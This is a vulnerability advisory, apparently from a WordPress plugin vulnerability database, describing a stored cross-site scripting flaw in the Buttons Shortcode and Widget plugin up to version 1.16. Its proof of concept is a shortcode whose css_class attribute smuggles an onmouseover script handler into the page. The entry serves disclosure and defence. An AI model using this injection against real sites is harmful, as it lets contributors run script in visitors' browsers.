WordPress Plugin Vulnerabilities
Buttons Shortcode and Widget <= 1.16 - Stored XSS via shortcode
Description
The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
Proof of Concept
[otw_shortcode_button href="http://9ml" size="medium" icon_position="left" shape="square" icon_url="http://9ml" color_class="otw-pink" css_class='" onmouseover="alert(/XSS/)"' target="_blank"]123[/otw_shortcode_button]
Affects Plugins
No known fix References
CVE
Classification
Type
XSS
OWASP top 10
CWE
Miscellaneous
Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-02-20 (about 2 months ago)
Added
2024-02-20 (about 2 months ago)
Last Updated
2024-02-20 (about 2 months ago)
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